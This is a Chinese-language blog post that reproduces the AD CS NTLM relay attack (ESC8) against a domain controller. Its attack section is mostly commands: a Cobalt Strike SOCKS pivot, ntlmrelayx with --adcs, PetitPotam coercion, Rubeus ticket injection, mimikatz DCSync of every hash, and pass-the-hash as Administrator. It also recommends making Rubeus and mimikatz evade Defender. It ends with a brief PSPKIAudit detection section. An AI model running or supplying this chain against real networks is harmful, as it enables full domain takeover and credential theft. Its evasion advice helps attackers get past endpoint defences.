个人公众号创世信安
一.ADCS相关介绍(1)ADCS
AD CS证书服务(SSL证书):可以部署企业根或者独立根建立SSL加密通道,和其他服务证书的区别在于加密强度。本次利用的漏洞产生的原因是ADCS支持的服务器角色功能错误配置。这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击,没有NTLM中继保护,而却Authorization HTTP标头只允许NTLM验证。导致类似于Kerberos之类的安全协议无法使用。
(2)参考博客及资料
(1)https://isc.sans.edu/diary/27668
(2)https://posts.specterops.io/certified-pre-owned-d95910965cd2
(3)https://zhuanlan.zhihu.com/p/388384018
(4)https://mp.weixin.qq.com/s/uwqjIpOCgmQVY7fC8NLJyA
(5)https://github.com/search?q=printerbug.py&type=issues
(6)https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/
二.ADCS服务搭建
在利用之前,需要自行在服务器上搭建ADCS服务,整个过程可以参照网上有的教程
需要注意的是不同服务器版本的搭建过程可能会稍有区别,但是整体流程大同小异
下一步
一直下一步到添加ADCS服务的界面
选择添加ADCS服务到下一步
继续下一步跳转到服务器配置
选择1和4证书认证和web服务
点击安装即可。
安装好之后需要再次对ADCS服务器进行配置
根据提示点击进入配置界面
下一步,保持默认
这里选择1和2
选择企业CA,如果主DC安装了企业CA,那么只能选择Standalone CA
保持默认,下一步
下一步
下一步
后面过程不一一展示,保持默认即可
完成配置
配置完成之后,可以进行查看配置情况
访问
ip/certsrv/certfnsh.asp可以进入到ADCS提供的web端口三.如何判断ADCS漏洞是否存在
通过kali进行查看,也可以看到其验证方式规定了NTLM验证,没有使用其他更加安全的验证协议。
再没有配置ADCS的机器上,无法从web接口访问。
四.ADCS攻击复现整个攻击拓补图如下所示。
将域内主机的流量代理出来经过VPS到kali
kali执行脚本,这里主要利用到的是impacket中的中继
以及需要在域内主机上执行的Petitpotam.exe将凭证反弹回来
根据微信公众号文章ADCS relay复现及踩坑中提到的几点,添加dc到Domain Computer组里,这是为了后面NTLM中继之后对DC票据的抓取。
这里首先准备impacket环境,这里非常头疼,整个过程中遇到了非常多的问题,这里将我的踩坑过程做一个详细的记录,以便于大家的顺利复现。
作者在漏洞爆发之后,提交了一个新的impacket包版本,其位置如下
https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
作者这里对功能模块进行了更新,直接下载源码,将其复制到kali中,由于kali自带impacket版本,我们可以覆盖掉,或者选择创建一个虚拟环境去运行这个impacket包这里根据作者给出的提示进行
https://github.com/SecureAuthCorp/impacket/pull/1101
根据这里的提示进行可以少走很多弯路,否则impaket包环境会非常难受。
下载好对应的版本之后进行攻击
git clone git clone https://github.com/ExAndroidDev/impacket cd impacket git switch ntlmrelayx-adcs-attack python3 -m pip install .
这里我们首先用cs控到目标
这里直接使用cs自带的代理
这里本地测试的环境中cs服务端在kali,实战中cs的服务端应该在VPS上
然后使用一台win10作为攻击机
这里开启cs自带的代理
点击目标右键然后选择Pivoting >选择server sockets
选择端口进行监听流量
端口自行选择,在kali上开启proxychains4配置中会用到。
kali配置对应的代理
vi /etc/proxychains4.conf
kali开启中继
proxychains4 python3 ntlmrelayx.py -t http://172.31.1.100/certsrv/certfnsh.asp -smb2support --adcs
注意:
这里如果报错没有adcs选项,说明impacket包错误,这样必须重新配置impacket
开启中继服务之后,将Petitpotam.exe上传到目标主机
执行
项目地址:
https://github.com/topotam/PetitPotam
详情可以参照
https://isc.sans.edu/diary/27668
配置完成之后,执行命令进行使用
petitpotam.exe vps地址 dc地址
执行之后NTLM中继会抓取到票据
将这个票据copy出来到txt
这里需要使用Rubeus.exe进行票据注入
这里注入的时候,首先需要做Rubeus.exe的免杀,实测中过不了Defender
或者也可以使用其他票据注入的方法
项目地址
https://github.com/GhostPack/Rubeus
Rubeus.exe asktgt /user:mail$ /certificate:票据 /ptt
这里成功注入票据之后,使用klist查看当前票据
接着上mimikatz就行,但是mimikatz的免杀也是需要提前做好的,这里建议拓展思路,利用其他方式进行抓取
mimikatz.exe lsadump::dcsync /domain:test.org /all /csv
PTH登录到DC
抓取到hash之后,使用pth登录到DC
mimikatz.exe privilege::debug sekurlsa::pth /user:Administrator /domain:test.org /ntlm:0343fed8cf8e6e1d4b5d705e85103a3c
命令行执行命令
同样可以直接在cs远控端执行
命令如下:
mimikatz.exe ""privilege::debug"" "sekurlsa::pth /user:Administrator /domain:test.org /ntlm:0343fed8cf8e6e1d4b5d705e85103a3c"五.PSPKIAudit脚本检测漏洞利用方法
github项目地址
https://github.com/GhostPack/PSPKIAudit
配置过程
首先下载源码包,远程加载也可以
在目标机内运行
cd PSPKIAudit Get-ChildItem -Recurse | Unblock-File import-Module .PSPKIAudit.psm1
导入脚本
首先查看域内DC定位证书颁发机器。
定位方法
certutil -config - -ping
利用机器名进行脚本攻击



